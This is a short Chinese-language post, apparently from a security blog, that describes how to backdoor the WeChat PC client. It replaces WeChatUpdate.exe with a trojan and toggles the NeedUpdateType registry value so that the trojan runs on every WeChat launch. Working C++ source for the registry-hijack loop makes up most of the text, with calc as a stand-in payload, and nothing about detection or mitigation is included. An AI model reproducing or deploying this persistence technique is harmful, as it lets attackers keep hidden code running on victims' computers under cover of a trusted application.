发现微信pc端在启动的时候,会检查注册表中的NeedUpdateType >= 100 就会先启动微信安装目录下的wechatupdate.exe
可以利用这个思路写个劫持微信更新程序的后门,具体思路如下:
1.释放木马到微信安装目录,覆盖WeChatUpdate.exe
2.写注册表修改NeedUpdateType=100
3.被攻击者下次启动微信时,检测到NeedUpdateType=100,就会先启动微信目录下的后门程序
4.后门程序启动后,先还原注册表NeedUpdateType=0,再启动微信主程序
5.微信主程序启动成功后,延迟5秒,再把NeedUpdateType=100,下次启动微信时,开始重复第三步
为什么要延迟5秒,因为WeChatUpdate.exe在启动wechat.exe后,wechat.exe会立马再次查询注册表,并启动WeChatUpdate.exe,导致死循环…
#include <iostream>
#include <windows.h>
VOID HijackingUpdate()
{
HKEY hKey = NULL;
DWORD lpData = 0;
do
{
WinExec("calc", SW_SHOW);
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Tencent\\WeChat", 0, 0xF003Fu, &hKey) ||
RegSetValueExW(hKey, L"NeedUpdateType", 0, REG_DWORD, (const byte*)&lpData, sizeof(DWORD))||
RegFlushKey(hKey)||
RegCloseKey(hKey))
{
break;
}
// 2.启动微信主程序
WinExec("WeChat.exe", SW_SHOW);
// 3. 重新设置注册表NeedUpdateType <= 100, 这样下次启动微信时,先启动当前后门程序
Sleep(5000);
lpData = 100;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Tencent\\WeChat", 0, 0xF003Fu, &hKey) ||
RegSetValueExW(hKey, L"NeedUpdateType", 0, REG_DWORD, (const byte*)&lpData, sizeof(DWORD)) ||
RegFlushKey(hKey) ||
RegCloseKey(hKey))
{
break;
}
} while (0);
}
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
int main()
{
HijackingUpdate();
}